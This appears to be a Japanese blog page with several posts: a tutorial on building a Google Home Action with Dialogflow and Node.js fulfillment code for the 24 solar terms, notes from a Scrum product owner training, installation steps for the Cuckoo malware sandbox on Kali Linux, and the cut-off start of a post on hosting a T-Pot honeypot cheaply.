GoogleHome向けのActionを作ってみた

はじめに

先日、Google Home Mini を購入したので、せっかくだし自作のアプリでも作ってみるかと思い、季節を答える簡単なActionを作成してリリースしてみた。
一応リリースできたけど、何回かリジェクトされたりしたので、どんな感じに作ったかや、自分の理解を深めるために雑にまとめてみる。

世界観

色々なサイトを見れば詳しい解説が出ているが、一応ザックリとまとめてみる。

スマートスピーカー

GoogleHomeやHome mini などのような賢いスピーカー。我々人間がやりとりを行う時の相手になるもの。

Google Assistant

Googleが開発したAIアシスタントスマートスピーカーに住んでいる妖精で、内容に応じたAgentを呼び出してくれる。

Actions on Google

Actionを開発するためのプラットフォーム。

Action

Google Assistantで使えるサードパーティ製のアプリ的なもの。

Dialogflow

自然言語理解(NLU)エンジンを積んでいて、GUIから簡単に会話型のインターフェイス(独自Agent)を構築できる機能。

例えば、天気を尋ねる時などに、言葉の微妙なニュアンスの違いがあったとしても、Dialogflow はそれを吸収して構造化された形式に変換してくれる。 ユーザからの「今日」「明日」「1月1日」などという発話は 「年/月/日/時間」の構造を持っているので、Dialogflowが曖昧な発話を「年/月/日/時間」の構造に変換して渡してくれるような理解。 他の例としては、「今日から明日」「7月」などは、「期間(from - to)」の構造を持っているので「年/月/日/時間 - 年/月/日/時間」に変換するなどなど。

プロジェクトを作成する

Googleで「Actions Console」で検索すると、一番上に Actions Consoleが出てくると思うので、そこから Actions on google のコンソールに入る。

f:id:kyonta1022:20190629194551p:plain

「New Project」 から新規プロジェクトを作成する。

f:id:kyonta1022:20190629195016p:plain

どんなものを開発しますか?的なことを聞かれるので、今回は会話型(Conversational)を選択する。

f:id:kyonta1022:20190629195340p:plain

プロジェクトの概要ページに移る。

f:id:kyonta1022:20190629200549p:plain

UI はかなり親切な設計になっており、上から

  • Quick Setup
    • Actionの起動方法決める
  • Build your Action
    • Actionの作成とテスト
  • Get ready for deployment
    • リリースするに当たってActionの説明(Directory)などを設定する
  • Release
    • Release申請する

という流れになっており、リリースするまでにやるべき事がパッとわかるようになっているので、迷う事なく進められる。

Actionの名前を決める

「Quick setup」を選択して、 声とActionの名前を設定する(後からも変更可能)
Actionの名前は、よくある単語や一般的に使われそうな名前ではダメというポリシーがあるらしいので、命名時は少し気にするといいかも。自分は「にじゅうしせっき」って付けたらリジェクトされた。

ちなみに、今回は女性の名前で作成したのだが、Female 2 の方が喋り方が自然だったので、Female 1ではなくFemale 2をオススメする。 Female 1 は、よくある機械が喋るような発声なので、聞くとガッカリする。

入力が完了したら、右上に出ている「Save」を忘れないようにする。

f:id:kyonta1022:20190629201323p:plain

Actionの作成

サイドメニューに表示されている Actions を選択するか、概要ページの「Add Action(s)」を選択する。

f:id:kyonta1022:20190629202322p:plain

組み込みやテンプレートみたいなのものもあるが、今回はカスタムインテントを選択する。選択すると Dialogflow のページに遷移する。

f:id:kyonta1022:20190629202501p:plain

言語を選択してAgentを作成する。
AgentとはDialogflow のプロジェクト。管理単位。

f:id:kyonta1022:20190629202844p:plain

会話を構築する

用語の説明

会話を構築するにあたり、いくつか用語があるのでまとめとく。

Intent

Intent とは、ユーザからの発話に対する処理の定義的なもので、インテント毎にどのような発話に反応(Training phrases)するかを決めて、それに対してどのような応答(Response)をするかなどを定義できる。いくつか項目があるので、ざっとまとめる。

Context

コンテキストにはinoutがある。使い分けとしては、このインテントが実行されるときに、別のインテントで発生したパラメーターなどを受け継ぐ時は、inにそのコンテキスト名を指定すると使えるようになる。outは、このインテントで発生したパラメータを別のインテントに引き継ぎたい場合に利用する。

会話の文脈的な意味合いから Cotext という名前がついたのかな?と覚えた。

Events

イベントはユーザからの発話ではなく、何か出来事が起こった時にインテントを起動するためのもの。トリガー。

Training phrases

レーニングフレーズは、ユーザからどんな「発話」を受け取った時にインテントが起動するかを決める。

また、フレーズの内容は構造化されたパラメーターとして受け取る事ができる。
例えば「6月6日は」と定義した場合、「年/月/日」の部分を「sys.date」パラメータに設定することができるため、そのパラメータを Responseや Fulfillment で利用する事ができる。

Action and parameters

上のフレーズから抽出できるパラメータが自動的に設定される。
※ 手動で設定しなければいけない場合もある

Responses

このインテントの応答。
複数の応答を定義すると、その中からランダムに返してくれる。

Fulfillment

これを有効にすると、このインテントが呼ばれた場合に webhook する事ができる。 ちなみに、webhook は Actionにつき一つしか設定できないので、インテントでは使用有無しか設定できない。

構築

今回はこんな感じの会話を想定して構築した。

ちなみに、会話の構築で注意することは、ユーザがどのような発話の候補を持っているか を明確に教えてあげないと Release 時にリジェクトされるので、インテント毎に次にどんな発話を望んでいるか(想定)を丁寧に示すのがいいと思う。

[Action Start]

> こんにちわ、季節をお答えします。

XX月YY日は?

> XX月YY日の季節は・・・

もう一回

> XX月YY日の季節は・・・

おわり

> ご利用ありがとうございました。

[Action End]

作成したインテントとしては、

Welcomeインテント

Action起動時に機能の説明をして欲しいので、Eventの設定とResponseのみを設定している。

f:id:kyonta1022:20190629214653p:plain

Mainインテント

ユーザからの発話から日付を取得して、該当する季節を答えるため、Training phrases と Parameter と Filfullment を設定している。

f:id:kyonta1022:20190629222846p:plain

Filfullmentでは、Inline Editorを使ってサーバー側の処理を書いた。

'use strict';

function solar_term(now) {
  const SOLAR_TERM = [
    {month: 1, date: 5, name:"小寒", name_kana: "しょうかん", description: "池や川の氷も厚みを増し、寒さが厳しくなる頃です。この日を「寒の入り」といい、寒さの始まりを意味します。そして、小寒と大寒を合わせたおよそ1か月を「寒中」「寒の内」といい、寒中見舞いを出す時期とされています"},
    {month: 1, date:20, name:"大寒", name_kana: "だいかん", description: "冷え込みもはげしく、寒さが最も厳しい頃。二十四節気の最後の節気で、ここを乗り切れば春近しということです。寒気を利用した食物(凍り豆腐、寒天、酒、味噌など)を仕込む時期にもあたります"},
    {month: 2, date: 4, name:"立春", name_kana: "りっしゅん", description: "二十四節気の最初の節気で、この日から暦の上では春となり、さまざまな決まりごとや節目の基準になっています。旧暦では立春近くに正月がめぐってきたので、立春は春の始まりであり、1年の始まりでもありました。まだまだ寒さは厳しいですが、立春を過ぎてから初めて吹く強い南風を「春一番」といいます"},
    {month: 2, date:19, name:"雨水", name_kana: "うすい", description: "雪から雨へと変わり、降り積もった雪も溶けだす頃という意味です。実際にはまだ雪深いところも多く、これから雪が降り出す地域もありますが、ちろちろと流れ出す雪溶け水に、春の足音を感じます"},
    {month: 3, date: 6, name:"啓蟄", name_kana: "けいちつ", description: "大地が温まって、冬ごもりから目覚めた虫が、穴をひらいて顔を出す頃。「啓」はひらく、「蟄」は土の中にとじこもっていた虫(蛙や蛇)という意味です。ひと雨ごとに暖かくなり、日差しも春めいて、生き物が再び活動し始めます"},
    {month: 3, date:21, name:"春分", name_kana: "しゅんぶん", description: "昼夜の長さがほぼ同じになる日で、この日を境に陽が延びていきます。春分の日は彼岸の中日で前後3日間を春彼岸といい、先祖のお墓参りをする習慣があります。「自然をたたえ、生物をいつくしむ」として国民の祝日になっています"},
    {month: 4, date: 5, name:"清明", name_kana: "せいめい", description: "清明は「清浄明潔」の略で、万物がけがれなく清らかで生き生きしているという意味です。花が咲き、鳥は歌い、空は青く澄み、爽やかな風が吹き、すべてのものが春の息吹を謳歌する頃。各地でお花見シーズンを迎えます"},
    {month: 4, date:20, name:"穀雨", name_kana: "こくう", description: "春の柔らかな雨に農作物がうるおうという意味です。この時期に農作物の種をまくと、雨に恵まれ、よく成長するといわれています"},
    {month: 5, date: 6, name:"立夏", name_kana: "りっか", description: "この日から立秋の前日までが暦の上では夏となります。新緑に彩られ、さわやかな晴天が続く頃です。ちょうどゴールデンウィークの時期にあたり、レジャーに出かけるにもよい気候です"},
    {month: 5, date:21, name:"小満", name_kana: "しょうまん", description: "陽気がよくなり草木が成長して茂るという意味です。農家では田植えの準備を始める頃。動物や植物にも活気があふれます。また、秋にまいた麦の穂が付くころで安心する(少し満足する)という意味もあります"},
    {month: 6, date: 6, name:"芒種", name_kana: "ぼうしゅ", description: "「芒」とはイネ科植物の穂先にある毛のような部分のことで、稲などの穀物の種をまく時期という意味です。田植えの目安とされ、農家が忙しくなる時期。梅雨入りも間近で少し蒸し暑くなってくる頃です"},
    {month: 6, date:21, name:"夏至", name_kana: "げし", description: "北半球では、太陽が最も高く昇り、1年で最も昼が長い日です。ただ、日本では梅雨のシーズンでもあるので、日照時間が短く、あまりひの長さを実感できないかもしれません。暦の上では夏の折り返し地点にあたり、夏至を過ぎると暑さが増して本格的な夏がやってきます"},
    {month: 7, date: 7, name:"小暑", name_kana: "しょうしょ", description: "だんだん暑さが増していくという意味で、梅雨明けも近くなり、湿っぽさの中にも夏の熱気が感じられるようになります。海や山に出かけるのにもいい時期です。また、小暑と大暑を合わせたおよそ1か月を「暑中」といい、「暑中見舞い」を出す期間とされています"},
    {month: 7, date:23, name:"大暑", name_kana: "たいしょ", description: "夏の暑さが本格的になるという意味ですが、子どもたちは夏休みに入ってわくわく。農家にとっては田の草取り、害虫駆除など暑い中での農作業が続く大変な時期です。また、土用の丑の日が近く、夏バテ防止にうなぎを食べたりする頃です"},
    {month: 8, date: 7, name:"立秋", name_kana: "りっしゅう", description: "厳しい残暑は続きますが、この日から暦の上では秋となります。これからは少しずつ涼しくなり、秋の気配が漂いだす頃です。また、立秋を過ぎたら「暑中見舞い」は「残暑見舞い」に変わります"},
    {month: 8, date:23, name:"処暑", name_kana: "しょしょ", description: "さがおさまるという意味で、日中は暑いものの、朝晩の涼しさに初秋の息遣いを感じる頃です。夏休みもそろそろ終わり。秋の台風シーズンに入っていきます"},
    {month: 9, date: 8, name:"白露", name_kana: "はくろ", description: "秋が深まり、草花に朝露がつきはじめる頃という意味です。空は高くなり、秋雲がたなびくようになり、本格的な秋の到来です。また、実りの秋を前に台風が心配な時期でもあります"},
    {month: 9, date:23, name:"秋分", name_kana: "しゅうぶん", description: "昼夜の長さがほぼ同じになる日で、この日を境に日が短くなり、秋の夜長に向かいます。秋分の日は彼岸の中日で前後3日間を秋彼岸といい、先祖のお墓参りをする習慣があります。「祖先を敬い、亡くなった人をしのぶ日」として国民の祝日になっています"},
    {month:10, date: 8, name:"寒露", name_kana: "かんろ", description: "草木に冷たい露が降りる頃という意味です。秋の長雨が終わり、ぐっと秋が深まります。稲刈りが終わるころで、その他の農作物の収穫もたけなわとなります。また、北の方から紅葉の便りが届きはじめます"},
    {month:10, date:23, name:"霜降", name_kana: "そうこう", description: "早朝に霜が降りはじめる頃という意味です。晩秋を迎え、北の方では朝霜が降り、山々は紅葉に染まります"},
    {month:11, date: 7, name:"立冬", name_kana: "りっとう", description: "この日から立春の前日までが暦の上では冬となります。木枯らしが吹き、冬の訪れを感じる頃。太陽の光が弱まって日も短くなり、木立ちの冬枯れが目立つようになります。木枯らしが吹くのは、冬型の気圧配置になった証拠です"},
    {month:11, date:22, name:"小雪", name_kana: "しょうせつ", description: "木々の葉が落ち、山には初雪が舞い始める頃です。「小雪」とは、冬とは言えまだ雪はさほど多くないという意味で、冬の入口にあたります"},
    {month:12, date: 7, name:"大雪", name_kana: "たいせつ", description: "山の峰々は雪をかぶり、平地にも雪が降る頃です。本格的な冬の到来で、動物たちも冬ごもりを始めます。年末に向け、お正月の準備も始まって、何かとあわただしい時期でもあります"},
    {month:12, date:22, name:"冬至", name_kana: "とうじ", description: "太陽が最も低い位置にあり、1年で最も夜が長く、昼が短い日です。太陽の力が一番弱まる日ですが、翌日からは再び強まるということから、運が向いてくるとされています。また、冬至かぼちゃ、冬至がゆ、柚子湯などで、厄払いや無病息災を願う風習があります"},
  ];
  
  var index = SOLAR_TERM.findIndex(season => {
    if (new Date(now.getFullYear(), season.month -1, season.date) > now) {
      return season;
    }
  });
  return (index <= 0) ? SOLAR_TERM[SOLAR_TERM.length -1] : SOLAR_TERM[index - 1];
}

function say(date, season) {
  var say_season = `${date.getMonth() + 1}月${date.getDate()}日は、${season.name_kana}の季節です。${season.description}。。`;
  var announcement = "別の日について知りたい場合は、希望する日付を指定してください。終わりにする場合は、「終わり」と言って下さい。";
  return say_season + announcement;
}

const functions = require('firebase-functions');
const { dialogflow } = require('actions-on-google');

const app = dialogflow();

app.intent('One More', conv => {
    const season = conv.contexts.get("season");
    if (typeof season === 'undefined') {
      conv.ask("希望する日付を指定してください。");
    } else {
      conv.ask(season.parameters.say);
    }
});

app.intent('Another Date', (conv, params) => {
    const date = new Date(params.date);
    const answer = say(date, solar_term(date));
    conv.contexts.set("season", 10, {say: answer});
    conv.ask(answer);
});

exports.dialogflowFirebaseFulfillment = functions.https.onRequest(app);

One Moreインテント

Mainインテントで設定されたseasonコンテキスト(conv.contexts.set("season", 10, {say: answer});)をもらい、同じ内容で応答するために、 Training phrases と Parameter と Response を設定している。

f:id:kyonta1022:20190629224139p:plain f:id:kyonta1022:20190629224154p:plain

Exitインテント

Actionを終了するために、Training phrases と Response と「set this intent as end of conversation」 を設定している。

f:id:kyonta1022:20190629224557p:plain f:id:kyonta1022:20190629224615p:plain

リリースするにあたってディレクトリを設定する

概要の「Enter information required for listing your Action in the Actions directory」を選択する

f:id:kyonta1022:20190629230130p:plain

内容はこのくらいあるが、注意すべきところだけここでは取り上げる

f:id:kyonta1022:20190629230324p:plain

Description

Actionが何をできるかを簡潔に書く。曖昧だとリジェクトされる。

Sample Invocations

Actionを起動するときのフレーズを設定する。最初に設定したAction名からかけ離れているとリジェクトされる。
ちなみに、同じフレーズでも「ひらがな」と「漢字」版など、想定されそうなフレーズは複数設定しといたほうがいい。自分は最初、ひらがなだけのフレーズを設定していたが全然Actionが起動されず、スマホGoogle Assistant で試してみたら、発話の一部分が漢字に変換されていてフレーズに一致しない事象が起きていた。

Images

好きなアイコンと背景画像をどうぞ。

Contact details

連絡先情報と開発者名(任意)をどうぞ。

Privacy and concent

プライバシーポリシーを明記したリンクを設定する。最初はよく分からなかったので、他のActionのプライバシーポリシーを参考にした。
ちなみに、プライバシーポリシーはGoogleサイトで作成した。

リリース

リリースボタンを押して、アプローブされるのを待とう。
レスポンスが結構早いのと、あちら側でも簡単なテストをやってくれるのでありがたい。
曖昧な説明や動作がおかしかったりするとリジェクトされる。

リリース後

ちなみにリリースから数日経つと、リリース記念に「Tシャツ」と「毎月200ドルのGoogle Cloudクレジット」がプレゼントされる。これは嬉しい。

JamesCoplienの認定スクラムプロダクトオーナー研修を受けてみた

James Coplienの認定スクラムプロダクトオーナー研修を受けてみた。

認定プロダクトオーナー研修とは?

Scrum Alliance®の認定スクラムトレーナー(Certified Scrum Trainer®:CST®)による 「 スクラム をプロダクト開発の仮説検証のフレームワークとして活用する」ための研修

なんで参加したの?

  • ScrumBootCampの書籍以上の事を学べると思ったのと、Scrumの研修はメンバーも受けた方がいい的な事をPodcastで言ってたのを思い出した
  • プロダクトオーナーの役割を担った人は、どのような考えで動き、どのような視点でプロダクトやチームを見るのか、純粋に興味があった
  • 会社で参加者募っててGooodタイミングだった

研修の内容

大分端折ってる部分もあるが、大枠的には次の構成で研修は進む。

体感的には座学(随時質疑応答のある参加型)がメインで、合間合間にワークショップが挟まれている感じだった。研修は2日行われ、参加人数は40人弱ぐらい。4-5人で一つのテーブルを囲む。

スクラム入門

The Scrum Values(勇気・集中・コミットメント・尊敬・オープン)

Scrumの価値について理解

  • 特に「尊敬」の部分が一番興味深かった。これはメンバーを信頼する事であり、これがないことによって余計な仕事が増えてしまう
  • 例えば、信頼できないからメトリックスを取って確認しよう。だとか、本当に合ってるかなどを質問によって確認しようとしたりだとか、信頼がないからこそ余計な仕事が増える。TeemGeekでもHRTの一部として尊敬・信頼が語られていたけど、凄く大切。

スクラムプロダクトオーナープロセス

プロダクトオーナーの視点から見た、プロセスの全体像理解

  • プロダクトバックログを示すのが、プロダクトオーナーの最大の仕事
  • プロダクトバックログリファインメントという、直近のPBIのHOW(設計)を落とし込んでいく活動がある(言葉レベルで知らなかった)
  • プロダクトオーナーは、新しくプロダクトバックログに積むための調査や顧客との協調(リサーチ)を、日々のスプリントと並行して行っている
  • プロダクトオーナーとは、プロダクトの社長である。要は権限がちゃんとある。

自己組織化

ワークショップを経て、自己組織化したチームがどのようにワークするのかを理解。これが結構面白く、自分達の頭を使って考え、周りを観察しながら各々が調整することにより、自然に丸く収束するのを体験できた。細胞みたい。

  • 自己組織化こそアジャイルの全て
  • お前がボスなんだ、出番を待つな、管理を望むな。もし失敗しても大丈夫だ。次のアイデアを試そう。ここにあるのは、正しい事をする、賢くてモチベーションの高い人々への信教

アジャイルは後発的な要求に対処するためのもの

単純なものからカオスなものまで、色々なレベルの問題があるけども、単純+煩雑(整理すれば単純)な問題は計画して実行すればいいよね。けど、複雑(何か変わると他も関連して変わるような)な問題は予測できないよね = 計画できない。これは確実性と後発性になるけど、アジャイルはこの後発性に対応するためのものなのだよ。という理解をした。正直問題のレベルとかは意識してなかったので、鱗落ちた。

プロマネやった事ある人?

自己組織化した開発チームと、プロダクトへの権限を持ったPOが居れば、管理するだけのプロマネは居なくても平気だなと理解。というより、必要なくなる。

  • スクラムにプロジェクトはない。期間ではなくプロダクトに対してチームがあるから。
  • デリバリーの順番をコントロールするのはPOで、開発のペースをコントロールするのはプロマネじゃなく開発チーム。プロダクトの世界を一番知っているのは開発チームだからだ。

プロダクトオーナーの仕事とは

戦略的なリーダー

スティーブ・ジョブスみたいな人が優秀なPO。ビジョンがあるからPOになるのだ。なるほどー、わかりやすい。

  • POはビジョン情熱を持っている
  • フォロワーがいる人(信頼される人)

プロダクトオーナーとは

ビジョンと情熱を持って、ステークホルダーに説明する責任を持つ人か。

  • 上司が複数いるかもしれない。しかも同じ目的を共有していないかも
  • プロダクトのビジョンや価値の説明に責任を持つ人は必要である。上の理由からも、ここは単一責任者=POとして置いた方が良い。

プロダクトオーナーの役割

以前参画していた所で、施策ごとにROIを計算して優先度をつけて、開発チームが作ってデリバリーしてくみたいな感じで回してたんだけど、あの施策出したりする人がPOだったのか。と改めて気づいた。あと、参加者(PO)の話を聞いてて、これはそれなりの権限(お金、人事権)を持っていない人がやると、よくあるマネージャになっちゃってPOとして上手く機能しなそうだなと思った。

  • 価値(ROI)を最適化する
  • 価値はROI以外でも良い。何を価値と置くかはプロダクトにより異なる
  • 明示的な終了(製品を殺す)基準を明確にする

バックログリファイメント

  • 開発チームの時間は 5%-10% までに制限する

完了の定義

  • 完了の定義は、表面化(機能)しない部分も含める
  • 例えば、目に見える機能だけに集中して内部の実装やドキュメントを疎かにした場合、短期的に見るとスピードが上がったように見えるが、技術負債になり中長期的に見てチームは損をする。結果、スピードが下がる。
  • なので、表面化していないものでも価値あるものは、完了の定義に含める必要がある。

スプリントレビュー

プロダクトの改善をする活動。話題としては、

スプリントレトロスペクティブ

プロセスの改善をする活動。1週間毎の振りかえりみたいなものだと理解。

  • デイリースクラム小さな障害の問題に対処するが、これはもっと大きな(戦略的な)問題になる。スクラムチームのプロセス改善

プロダクトオーナーの落とし穴

  • POが横からチラッと見た時に、開発チームの失敗に気づいてもPOはそれをあえて教えない
  • Scrumは管理された環境下での失敗が可能な訓練のためのツール
    • 気づき -> 反省 -> 改善に繋げる
    • 学習(行動を変えていく)する

ロードマップ

どんなことでも、どこに向かってるかは必要だよね。

  • 方向は変えるが、どこに向かっているかは必要
  • ただ、6ヶ月を超える予定は夢

開発チームを雇う

プロダクトオーナーがプロダクトの社長とするならば、チームは一つの会社と見る事ができる。チームが会社ならば、必要なスキルを持ったメンバーは会社(チーム)にいるべきである。という考え方かな。

  • DevOps、テストなどの横断チームを持たない。開発チームが全てをこなす
  • 必要なスキルを持ったメンバーがいない場合は、採用 or バジェットを取って教育 する

プロダクトバックログについて

イデアのライフサイクル

イデアがどのように出荷可能な成果物になるのかを端的に表したもの。

f:id:kyonta1022:20190613190353p:plain

  • プロダクトバックログWHATを書く。「XXを作る」みたいなHOWはだめ
  • POは順位づけの最終決定権があり、デリバリーの順番にPBIを並べる

バリューストリームの分岐

f:id:kyonta1022:20190613190430p:plain

  • 一つの製品のバックログが複数のバリューストリームを含む事がある
  • 分岐しそうになったら、スピンオフしてプロダクトの機敏性を保つ

1つのPBIに群がる

普通にそれぞれが一つのPBIを担当していくものと思ってたので、この考え方はなるほどとなった。

  • 良いチームは一度に1つのPBIに群がる
  • 各メンバーが別々のPBIを担当すると、全て進捗80%みたいな感じで、スプリントが終わったのに一つもPBIが完了していませんでした。というような事態になりかねない
  • トヨタの「一個流し」からヒントを得たらしい
  • ちなみに、バーンダウンチャートはポイントの消化率ではなく、PBIの消化率で見た方がいい。ポイントの消化率で見ると、上のような進捗的には進んでるけどPBI完成してませんでした。的な事が起こり得る。
  • 慣れてきたら、2PBIまでは並行してもOK

群がりやすくするために

ここら辺の話で面白かったのは、JIRAを使ってPBIを管理してはいけないという話。何故JIRAがダメなのかというと、詳細な記録が残せてしまうかららしい。それの何が問題になるのかというと、誰々がどのくらい機能を作っている。誰々はバグの埋込率が高い。みたいな詳細なログが追えてしまうので、それを使ってマネージャーが管理するとメンバーは個人の成果を追ってしまうことになり、チーム全体で・・という空気になりにくい。なので、付箋(エクセルも可)とかシンプルなやつで管理するぐらいがちょうどいいという話。

※ 通訳をうまく拾えてない部分があるので、解釈が違う可能性あり

  • ヒーロー文化に争う
  • クロスファンクショナルチームを持つ
  • 個々の達成よりチーム全体に報いる

その他よかったこと

  • テーブルの参加者が、コンサル・自社製品PO・受託開発PO・エンジニアと、それぞれやっている事が違うので、色々な話を聞けて刺激的だった
  • スクラムマスターの役割に関する動画が笑えた
  • マイクロサービスは死んだとか、TDDはXXとか、情報工学なんて科学にもとづいてない経験則だろ的な話も聞けた(通訳さんに追いつけずあまり理解できなかったけど

まとめ

CuckooSandboxインストール

環境

  • ホスト: MacOS 64bit
  • ゲスト: Kali Linux 2019.1a 64bit English (DL)
  • 仮想化: Paralles Desktop 14 Pro

Cuckooのインストール

$ sudo apt-get install -y cuckoo

仮想マシンのセットアップを行うときに agent.py が必要になるため、一度起動して .cuckoo ディレクトリを作成する

$ cuckoo 

                                 _|
     _|_|_|  _|    _|    _|_|_|  _|  _|      _|_|      _|_|
   _|        _|    _|  _|        _|_|      _|    _|  _|    _|
   _|        _|    _|  _|        _|  _|    _|    _|  _|    _|
     _|_|_|    _|_|_|    _|_|_|  _|    _|    _|_|      _|_|

 Cuckoo Sandbox 2.0.6
 www.cuckoosandbox.org
 Copyright (c) 2010-2018

=======================================================================
    Welcome to Cuckoo Sandbox, this appears to be your first run!
    We will now set you up with our default configuration.
    You will be able to see and modify the Cuckoo configuration,
    Yara rules, Cuckoo Signatures, and much more to your likings
    by exploring the /root/.cuckoo directory.

    Among other configurable items of most interest is the
    new location for your Cuckoo configuration:
              /root/.cuckoo/conf
=======================================================================

Cuckoo has finished setting up the default configuration.
Please modify the default settings where required and
start Cuckoo again (by running `cuckoo` or `cuckoo -d`).

マルウェア解析用の仮想マシンをセットアップ

VirtualBoxのインストール

Cuckooのドキュメント Virtualization Software を参考に指定されたバージョンの VirtualBox をインストールする。Kali Linux 2019.1a 上でインストールするときは、Distributionを xenial から bionic にする必要がある

$ echo "deb http://download.virtualbox.org/virtualbox/debian bionic contrib" | sudo tee -a /etc/apt/sources.list.d/virtualbox.list

$ wget -q https://www.virtualbox.org/download/oracle_vbox_2016.asc -O- | sudo apt-key add -

$ sudo apt-get update
$ sudo apt-get install -y virtualbox-5.1

仮想NICの作成

セキュリティ上の観点から、既存のネットワークとは独立させるために仮想マシンにアタッチする仮想NIC(ホストオンリーアダプター)を作成

# not persistence
$ vboxmanage hostonlyif create
$ vboxmanage hostonlyif ipconfig vboxnet0 --ip 192.168.56.1 --netmask 255.255.255.0

仮想マシンWindows7(64bit)をセットアップ

サンドボックス解析によるマルウェア対策ツール「cuckoo」を使ってみようを参考に、仮想マシン上にWindows(英語版、日本語版問わない)をセットアップ

仮想マシンから外部ネットワークへのルーティング設定

Cuckooのドキュメント Per-Analysis Network Routing を参考に仮想マシンから外部ネットワークへのルーティングを設定する

$ sudo iptables -t nat -A POSTROUTING -o eth0 -s 192.168.56.0/24 -j MASQUERADE

# Default drop.
$ sudo iptables -P FORWARD DROP

# Existing connections.
$ sudo iptables -A FORWARD -m state --state RELATED,ESTABLISHED -j ACCEPT

# Accept connections from vboxnet to the whole internet.
$ sudo iptables -A FORWARD -s 192.168.56.0/24 -j ACCEPT

# Internal traffic.
$ sudo iptables -A FORWARD -s 192.168.56.0/24 -d 192.168.56.0/24 -j ACCEPT

# Log stuff that reaches this point (could be noisy).
$ sudo iptables -A FORWARD -j LOG

インターネットへの接続を許可する場合

$ echo 1 | sudo tee -a /proc/sys/net/ipv4/ip_forward

Cuckooのセットアップ

Cuckooのインストールだけでは、Cuckoo + Webインターフェースを利用できないため、必要なパッケージのインストールとコンフィグの設定をする

MongoDBのインストール

Cuckooでは解析結果レポートの保存に MongoDB を利用しているため Install MongoDB Community Edition on Ubuntu に従ってインストールする

$ sudo apt-key adv --keyserver hkp://keyserver.ubuntu.com:80 --recv 9DA31620334BD75D9DCB49F368818C72E52529D4

$ echo "deb [ arch=amd64 ] https://repo.mongodb.org/apt/ubuntu bionic/mongodb-org/4.0 multiverse" | sudo tee /etc/apt/sources.list.d/mongodb-org-4.0.list

$ sudo apt update

$ sudo apt install -y mongodb-org

Djangoのバージョンを合わせる

apt-get で Cuckoo をインストールした場合、Djangoのバージョンが Cuckooで指定しているバージョン より新しく、webインターフェースが正常に起動しないため、アンインストール後に適切なバージョンをインストールする

Cuckooは最新バージョンのDjangoと互換性がない

$ pip freeze | grep jango
# Django==1.11.20
# django-extensions==2.1.4

$ rm -rf /usr/lib/python2.7/dist-packages/*jango*
$ pip install django==1.8.4
$ pip install django_extensions==1.6.7

$ pip freeze | grep jango
# Django==1.8.4
# django-extensions==1.6.7

Cuckooのコンフィグ設定

.cuckoo/conf/virtualbox.conf

  • win7x64
  • Snapshot1
    • 保存したスナップショット名
[virtualbox]
# Specify which VirtualBox mode you want to run your machines on.
# Can be "gui" or "headless". Please refer to VirtualBox's official
# documentation to understand the differences.
mode = headless

# Path to the local installation of the VBoxManage utility.
path = /usr/bin/VBoxManage
# If you are running Cuckoo on Mac OS X you have to change the path as follows:
# path = /Applications/VirtualBox.app/Contents/MacOS/VBoxManage

# Default network interface.
interface = vboxnet0

# Specify a comma-separated list of available machines to be used. For each
# specified ID you have to define a dedicated section containing the details
# on the respective machine. (E.g. cuckoo1,cuckoo2,cuckoo3)
-machines = cuckoo1
+machines = win7x64
# If remote control is enabled in cuckoo.conf, specify a port range to use.
# Virtualbox will bind the VRDP interface to the first available port.
controlports = 5000-5050

-[cuckoo1]
+[win7x64]
# Specify the label name of the current machine as specified in your
# VirtualBox configuration.
-label = cuckoo1
+label = win7x64

# Specify the operating system platform used by current machine
# [windows/darwin/linux].
platform = windows

# Specify the IP address of the current virtual machine. Make sure that the
# IP address is valid and that the host machine is able to reach it. If not,
# the analysis will fail.
ip = 192.168.56.101

# (Optional) Specify the snapshot name to use. If you do not specify a snapshot
# name, the VirtualBox MachineManager will use the current snapshot.
# Example (Snapshot1 is the snapshot name):
-snapshot = 
+snapshot = Snapshot1

# (Optional) Specify the name of the network interface that should be used
# when dumping network traffic from this machine with tcpdump. If specified,
# overrides the default interface specified in auxiliary.conf
# Example (vboxnet0 is the interface name):
-interface = 
+interface = vboxnet0

.cuckoo/conf/reporting.conf

# The various modes describe which information should be submitted to MISP,
# separated by whitespace. Available modes: maldoc ipaddr hashes url.
mode = maldoc ipaddr hashes url

[mongodb]
-enabled = no
+enabled = yes
host = 127.0.0.1
port = 27017
db = cuckoo
store_memdump = yes
paginate = 100
# MongoDB authentication (optional).
username = 
password = 

Cuckoo起動

$ service mongod start

# start sandobox
$ cuckoo community
$ cuckoo

# start web interface
$ cuckoo web

f:id:kyonta1022:20190519002132p:plain

お財布に優しいT-Potの植え方

はじめに

10月末に駆け出した、新米ハニーポッターの秋山です。
この記事は、Honeypot Advent Calendar 2018の13日目の記事です。

今回は、以下のような人を対象として、ハニーポットを低予算で植えるための情報を共有したいと思います(低予算具合は所感です)

なお、今回の対象としているハニーポットは、初心者でも扱いやすそうな(Kibanaでログを手軽にみれる)T-Potとなります。

ハニーポットとの邂逅

セキュリティの勉強をしているときに、ハニーポットを使えばこういう情報(マルウェアの検体/現実の攻撃方法)が収集できるよということを教えてもらった。 大学の時にも単語レベルでは聞いたことあったが、どのようなものかを理解していなかったので、興味本位で触ってみたいと思いました。

実際、ハニーポットからマルウェアの検体収集や、生の攻撃手法の分析ができることから、セキュリティの勉強には最適かなと思い構築するに至りました。

AWSの無料枠もあるし、ハニーポッターに俺はなる!」

お財布問題

と、意気込んでみたはいいものの、この時点ではT-Potを植えること以外は何も考えてなかったため、お金の問題が降りかかる事になるとは思ってもいなかった。

T-Potに関する記事を色々と調べてみると、ほぼ全ての記事でAWS上にT-Potを植えていた。その記事の中では、月額5千円ほどかかる旨が書かれており驚愕する。
にわかに信じられず自分で試算してみたが、やはりそれぐらいの運用費用はかかることが判明した。

なぜそんなに高いのかというと、T-Pot自体が他のハニーポットに比べて高機能(Kibanaによる可視化など)なため、要求するスペックが高いことが問題だった。
AWSだと最低でもt2.mediumタイプが要求されるので、これが高くなる要因だった。

「んー、正直これで一年間運用するのは厳しいな。そもそも妻の許可が出なそうだ!」

空からのお告げ

運用費用の辛さを吐露していたら、友人からあるサービスを紹介された。
AWSである理由がないのであれば、こういうのもあるよと。

www.scaleway.com

今まで全く聞いたことのないサービスだなと思いながら公式ページをのぞいて見たら、凄く安い。

f:id:kyonta1022:20181212231812p:plain

メモリ4GBのプランで 1,028.23 円 AWSで運用するときの 1/5 ぐらいではないか。 余裕を持って1-Lのプランにしたとしても、2,057.75 円 という破格の安さ。

安心するのはまだ早い

